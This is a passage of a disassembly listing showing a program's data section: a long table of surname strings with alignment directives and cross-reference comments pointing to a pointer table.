aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E060o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E05Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E058o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E054o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E050o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E04Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E048o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E044o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E040o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E03Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E038o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E034o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E030o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E02Co
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E028o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E024o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E020o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E01Co
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E018o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E014o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E010o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E00Co
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E008o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E004o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E000o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFF8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFF4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFF0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFECo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFE8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFE4o
		align 4
aLinder		db 'Linder',0
		align 10h
aLinda		db 'Linda',0
		align 4
aLinares	db 'Linares',0
aLim		db 'Lim',0
aLightfoot	db 'Lightfoot',0
		align 10h
aLight		db 'Light',0
		align 4
aLiem		db 'Liem',0
		align 10h
aLidano		db 'Lidano',0
		align 4
aLiakos		db 'Liakos',0
		align 10h
aLessi		db 'Lessi',0
		align 4
aLesser		db 'Lesser',0
		align 10h
aLEnclos	db 'l',27h,'Enclos',0
		align 4
aLenard		db 'Lenard',0
		align 4
aLeite		db 'Leite',0
		align 4
aLeclercq	db 'Leclercq',0
		align 4
aLecce		db 'Lecce',0
		align 10h
aLecar		db 'Lecar',0
		align 4
aLawless	db 'Lawless',0
aLashley	db 'Lashley',0
aLaserna	db 'Laserna',0
aLanzit		db 'Lanzit',0
		align 4
aLantieri	db 'Lantieri',0
		align 4
aLankes		db 'Lankes',0
		align 4
aLandes		db 'Landes',0
		align 4
aLallemant	db 'Lallemant',0
		align 10h
aLaing		db 'Laing',0
		align 4
aLafler		db 'Lafler',0
		align 10h
aLabunka	db 'Labunka',0
aLa		db 'La',0
		align 4
aKuwabara	db 'Kuwabara',0
		align 4
aKusman		db 'Kusman',0
		align 10h
aKumar		db 'Kumar',0
		align 4
aKuenzli	db 'Kuenzli',0
aKrysiak	db 'Krysiak',0
aKroemer	db 'Kroemer',0
aKraus		db 'Kraus',0
		align 4
aKrasney	db 'Krasney',0
aKrailo		db 'Krailo',0
		align 4
aKraemer	db 'Kraemer',0
aKovaks		db 'Kovaks',0
		align 4
aKotter		db 'Kotter',0
		align 10h
aKorzybski	db 'Korzybski',0
		align 4
aKool		db 'Kool',0
		align 4
aKonrad		db 'Konrad',0
		align 4
aKoniaris	db 'Koniaris',0
		align 4
aKommer		db 'Kommer',0
		align 10h
aKoivumaki	db 'Koivumaki',0
		align 4
aKohn		db 'Kohn',0
		align 4
aKoch		db 'Koch',0
		align 4
aKobrick	db 'Kobrick',0
aKnuff		db 'Knuff',0
		align 4
aKlint		db 'Klint',0
		align 4
aKlinkenborg	db 'Klinkenborg',0
aKling		db 'Kling',0
		align 4
aKlemperer	db 'Klemperer',0
		align 4
aKleinfelder	db 'Kleinfelder',0
aKleiman	db 'Kleiman',0
aKleckner	db 'Kleckner',0
		align 4
aKittridge	db 'Kittridge',0
		align 10h
aKirscht	db 'Kirscht',0
aKippenberger	db 'Kippenberger',0
		align 4
aKinsley	db 'Kinsley',0
aKindall	db 'Kindall',0
aKimura		db 'Kimura',0
		align 10h
aKimmett	db 'Kimmett',0
aKimmel		db 'Kimmel',0
		align 10h
aKhong		db 'Khong',0
		align 4
aKeul		db 'Keul',0
		align 10h
aKerry		db 'Kerry',0
		align 4
aKendall	db 'Kendall',0
aKemsley	db 'Kemsley',0
aKempton	db 'Kempton',0
aKelsey		db 'Kelsey',0
		align 4
aKelker		db 'Kelker',0
		align 10h
aKeith		db 'Keith',0
		align 4
aKeepper	db 'Keepper',0
aKeenan		db 'Keenan',0
		align 4
aKee		db 'Kee',0
aKawachi	db 'Kawachi',0
aKasten		db 'Kasten',0
		align 4
aKassower	db 'Kassower',0
		align 4
aKarpouzes	db 'Karpouzes',0
		align 4
aKangis		db 'Kangis',0
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE94o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE90o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE8Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE88o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE84o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE80o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE7Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE78o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE74o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE70o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE6Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE68o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE64o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE60o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE5Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE58o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE54o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE50o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE4Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE48o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE44o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE40o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE3Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE38o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE34o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE30o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DE28o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DE24o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DE20o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DE1Co
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DE18o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DE14o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DE10o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DE0Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DE08o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DE04o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DE00o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDFCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDF8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDF4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDF0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDECo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDE8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDE4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDE0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDDCo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDD8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDD4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDD0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DDCCo
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DDC8o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DDC4o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DDC0o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DDBCo
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DDB8o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DDB4o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DDB0o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DDACo
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DDA8o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DDA4o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DDA0o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD9Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD98o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD94o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD90o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD8Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD88o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD84o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD80o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD7Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD78o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD74o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD70o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD6Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD68o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD64o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD60o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD5Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD58o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD54o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD50o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD4Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD48o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD44o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD40o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD3Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD38o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD34o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD30o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DD2Co
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DD28o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DD24o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DD20o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DD1Co
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DD18o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DD14o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DD10o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DD0Co
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DD08o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DD04o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DD00o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCFCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCF8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCF4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCF0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCECo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCE8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCE4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCE0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCDCo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCD8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCD4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCD0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DCCCo
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DCC8o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DCC4o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DCC0o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DCBCo
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DCB8o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DCB4o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DCB0o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DCACo
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DCA8o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DCA4o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DCA0o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC9Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC98o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC94o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC90o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC8Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC88o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC84o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC80o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC7Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC74o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC70o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC6Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC68o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC64o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC60o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC5Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC58o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC54o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC50o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC4Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC48o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC44o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC40o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC3Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC38o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC34o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC30o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DC2Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DC28o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DC24o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DC20o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DC1Co
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DC18o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DC14o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DC10o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DC0Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DC08o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DC04o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DC00o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBFCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBF4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBECo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBE8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBE4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBE0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBDCo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBD8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBD4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DBCCo
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DBC8o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DBC4o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DBC0o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DBBCo
aFink		db 'Fink',0             ; DATA XREF: ___:0042DBB8o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DBB4o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DBB0o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DBACo
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DBA8o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DBA4o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DBA0o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB9Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB98o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB94o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB90o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB8Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB88o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB84o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB80o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB78o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB74o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB70o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB6Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB68o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB64o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB60o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB5Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB58o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB54o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB50o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB48o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB44o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB40o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB3Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB38o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB34o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB30o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DB2Co
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DB28o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DB24o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DB20o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DB18o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DB14o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DB10o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DB0Co
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DB08o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DB04o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DB00o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DAFCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAF8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAF4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAF0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DAECo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAE8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAE4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAE0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DADCo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAD8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAD4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAD0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DACCo
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DAC8o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DAC4o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DAC0o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DABCo
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DAB8o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DAB4o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DAB0o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DAACo
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DAA8o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DAA4o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DAA0o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA9Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA98o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA94o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA90o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA88o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA84o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA80o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA7Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA78o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA74o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA70o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA6Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA68o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA64o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA60o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA5Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA58o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA54o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA50o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA4Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA48o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA44o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA40o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA3Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA38o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA34o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA30o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DA28o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DA24o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DA20o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DA1Co
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DA18o
aCui		db 'Cui',0              ; DATA XREF: ___:0042DA14o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DA10o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DA0Co
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DA08o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DA04o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DA00o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9FCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9F8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9F4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9F0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9ECo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9E8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9E4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9E0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9DCo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9D4o
					; ___:0042D9D8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9D0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D9CCo
aColella	db 'Colella',0          ; DATA XREF: ___:0042D9C8o
